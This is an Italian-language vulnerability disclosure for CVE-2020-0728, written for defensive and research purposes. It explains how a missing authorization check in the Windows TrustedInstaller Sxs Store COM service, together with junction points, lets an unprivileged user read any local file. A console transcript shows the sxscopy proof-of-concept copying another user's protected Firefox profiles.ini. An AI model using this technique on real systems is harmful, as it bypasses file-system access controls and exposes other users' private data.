
Codice Proof of Concept per CVE-2020-0728
Il servizio TrustedInstaller.exe è in esecuzione come NT_AUTHORITY\SYSTEM e ospita il servizio COM della classe Sxs Store (3C6859CE-230B-48A4-BE6C-932C0C202048) insieme all'interfaccia ISxsStore.
I permessi di accesso (O:BAG:BAD:(A;;CCDCLC;;;PS)(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;IU)(A;;CCDC;;;SU)) di questo servizio concedono l'accesso a qualsiasi utente
sul sistema locale.
L'interfaccia ISxsStore espone 4 metodi:
[Guid("8601319a-d7cf-40f3-9025-7f77125453c6")]
interface ISxsStore : IUnknown {
HRESULT BeginAssemblyInstall(/* Stack Offset: 8 */ [In] int p0);
HRESULT InstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_0* p2, /* Stack Offset: 32 */ [In] struct Struct_1* p3);
HRESULT EndAssemblyInstall(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [Out] int* p1);
HRESULT UninstallAssembly(/* Stack Offset: 8 */ [In] int p0, /* Stack Offset: 16 */ [In] wchar_t* p1, /* Stack Offset: 24 */ [In] struct Struct_1* p2, /* Stack Offset: 32 */ [In] int* p3);
}
All'invocazione, l'implementazione chiama l'interfaccia ICbsWorker ospitata da TiWorker.exe (anch'esso in esecuzione come NT_AUTHORITY\SYSTEM) per ottenere una sessione ICbsSession8
e poi chiama praticamente gli stessi metodi su questa interfaccia.
La logica reale è implementata nella libreria sxsstore.dll; l'autorizzazione si trova in CSxsStore::BeginAssemblyInstall:
uVar1 = SxspEnsureComClientIsAdmin((void **)this);
Questo viene fatto usando chiamate CoImpersonateClient+CheckTokenMembership.
Il problema è che, se la sessione ospitata dal processo TiWorker.exe viene invocata tramite il wrapper TrustedInstaller.exe, la logica di autorizzazione implementata incontra sempre connessioni da NT_AUTHORITY\SYSTEM
e quindi concede l'accesso a chiunque.
Gli assembly richiesti per l'installazione vengono collocati in C:\Windows\WinSXS dall'implementazione situata in wcp.dll (Windows::COM::CComponentStore::InternalTransact) e
sembrano disporre di sufficienti misure di sicurezza per impedire a queste chiamate di metodo di fuoriuscire da questa legittima directory di destinazione, ma i file sorgente referenziati dal
manifest possono essere abusati tramite junction point.
Questo può essere sfruttato per bypassare la DAC del file system e leggere qualsiasi file sul filesystem locale, come dimostrato di seguito:
Microsoft Windows [Version 10.0.18362.592]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami
desktop-43rnlku\unprivileged
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini"
Access is denied.
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>sxscopy.exe "C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini" profiles.ini
sxscopy: C:\Users\John Doe\AppData\Roaming\Mozilla\Firefox\profiles.ini => profiles.ini
Creating helper junction sxscopy.junction -> C:\
Junction created for sxscopy.junction <<===>> C:\
Executing DCOM magic with manifest file C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon\sxscopy.manifest
Exploitation has succeeded, copy of the source file was placed inside WinSXS
Copy has succeeded!
C:\Projects\windows-dcom-hacks\work\Windows Modules Installer\weapon>type profiles.ini
[Install308046B0AF4A39CB]
Default=Profiles/5bqqo33l.default
Locked=1
[Profile2]
Name=johndoe
IsRelative=1
Path=Profiles/5bqqo33l.default
Default=1
[Profile1]
Name=default
IsRelative=1
Path=Profiles/x89vbmzf.default
[Profile0]
Name=default-release
IsRelative=1
Path=Profiles/1kmhc44f.default-release
[General]
StartWithLastProfile=1
Version=2
Il framework wcp è in realtà piuttosto complesso e presenta vari 'installer' (ad esempio l'esecuzione di GenericCommand tra quelli 'avanzati'),
ma l'interfaccia accessibile sopra sembra essere limitata solo agli 'installer primitivi'. Ho potuto attivare l'esecuzione di
CRegistryInstaller::CommitChanges che ha scritto log in C:\Windows\Logs\CBS\CBS.log, righe come:
2020-01-18 15:58:16, Info CSI 0000000c Registry installer wrote xxx values
Ma in realtà non ha mai realmente chiamato alcun metodo API per modificare qualcosa nel registro.
Il rapporto sopra insieme al codice PoC è stato inviato da Imre Rad, ma è stato identificato anche dai ricercatori di NCC (in realtà alcuni mesi prima).
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0728